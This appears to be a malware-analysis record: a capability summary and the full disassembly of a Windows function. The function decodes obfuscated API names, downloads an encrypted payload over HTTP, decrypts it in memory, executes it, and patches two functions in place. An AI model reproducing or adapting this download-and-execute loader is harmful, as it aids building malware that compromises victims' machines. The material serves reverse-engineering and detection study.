Function at 0x401320
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Encode data using xor
Link many functions at runtime
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x404004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x7c7e675a
xor ecx, ecx
mov dword [ebp - 0x10], 0x4f646f7b
mov dword [ebp - 0xc], 0x6d616464
mov byte [ebp - 8], 0x10
mov dword [ebp - 0x44], 0x7c7e675a
mov dword [ebp - 0x40], 0x60646f7b
mov dword [ebp - 0x3c], 0x6b7c617e
mov word [ebp - 0x38], 0x7c6d
mov byte [ebp - 0x36], 0x10
mov dword [ebp - 0x24], 0x6f6b7e4d
mov dword [ebp - 0x20], 0x685c6b7c
mov dword [ebp - 0x1c], 0x6c6f6b7e
mov byte [ebp - 0x18], 0x10
mov dword [ebp - 0x60], 0x5a6c6c4f
mov dword [ebp - 0x5c], 0x617c6d6b
mov dword [ebp - 0x58], 0x4b6c6b7e
mov dword [ebp - 0x54], 0x806b6d78
mov dword [ebp - 0x50], 0x6261677c
mov dword [ebp - 0x4c], 0x6c626f48
mov dword [ebp - 0x48], 0x107e6b64
mov dword [ebp - 0x34], 0x6f6b7e4d
mov dword [ebp - 0x30], 0x7a4b6b7c
mov dword [ebp - 0x2c], 0x597c626b
mov byte [ebp - 0x28], 0x10
nop dword [eax]
mov al, byte [ebp + ecx - 0x14]
dec al
xor al, 0xf
mov byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 0xd
jb 0x4013d0
xor ecx, ecx
mov al, byte [ebp + ecx - 0x44]
dec al
xor al, 0xf
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x4013e4
mov dword [ebp - 0x68], 0x65656c53
xor ecx, ecx
mov word [ebp - 0x64], 0x70
mov al, byte [ebp + ecx - 0x24]
dec al
xor al, 0xf
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xd
jb 0x401405
movups xmm0, xmmword [ebp - 0x60]
mov ecx, 0x10
psubb xmm0, xmmword [0x403160]
xorps xmm0, xmmword [0x403170]
movups xmmword [ebp - 0x60], xmm0
mov al, byte [ebp + ecx - 0x60]
dec al
xor al, 0xf
mov byte [ebp + ecx - 0x60], al
inc ecx
cmp ecx, 0x1c
jb 0x401433
xor ecx, ecx
mov al, byte [ebp + ecx - 0x34]
dec al
xor al, 0xf
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xd
jb 0x401447
push esi
push edi
call fcn.004012f0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x4043ac], eax
lea eax, [ebp - 0x14]
push eax
push edi
call esi
mov dword [0x404390], eax
mov dword [0x40439c], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [0x404394], eax
lea eax, [ebp - 0x24]
push eax
push edi
call esi
mov dword [0x404378], eax
lea eax, [ebp - 0x60]
push eax
push edi
call esi
mov dword [0x40438c], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
push 0
push 0
push 1
push 0
mov dword [0x404384], eax
call eax
push 0x401260
push 1
mov dword [0x4043a0], eax
call dword [0x40438c]
call fcn.004011e0
call fcn.00401160
push 0
push 0
push 0
push 0x4012b0
push 0
push 0
call dword [0x404378]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 1
push 0x403138
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x2328
push 0x40313c
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x4000000
push 0
push 0
push str.HTTP_1.1
push str._1.ico
push 0x403154
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push 4
push 0x1000
push 0x400000
push 0
call dword [0x404390]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push 0x400000
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
movaps xmm1, xmmword [0x403160]
lea ecx, [edi + 0x20]
movaps xmm2, xmmword [0x403170]
mov edx, 0x10000
lea ecx, [ecx + 0x40]
movups xmm0, xmmword [ecx - 0x60]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
sub edx, 1
jne 0x401594
xor esi, esi
nop word [eax + eax]
movsx eax, byte [esi + edi]
push eax
push 0x403158
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0x5a
jl 0x4015e0
call edi
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0
push eax
push 0x40
push 5
push dword [0x4043ac]
call dword [0x404394]
mov ecx, dword [0x4043ac]
mov eax, dword [0x4043a4]
mov dword [ecx], eax
movzx eax, byte [0x4043a8]
mov byte [ecx + 4], al
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x6c]
push 5
push ecx
call dword [0x404394]
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], 0
push eax
push 0x40
push 5
push dword [0x40439c]
call dword [0x404394]
mov ecx, dword [0x40439c]
mov eax, dword [0x40437c]
mov dword [ecx], eax
movzx eax, byte [0x404380]
mov byte [ecx + 4], al
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
push 5
push ecx
call dword [0x404394]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00401690
mov esp, ebp
pop ebp
ret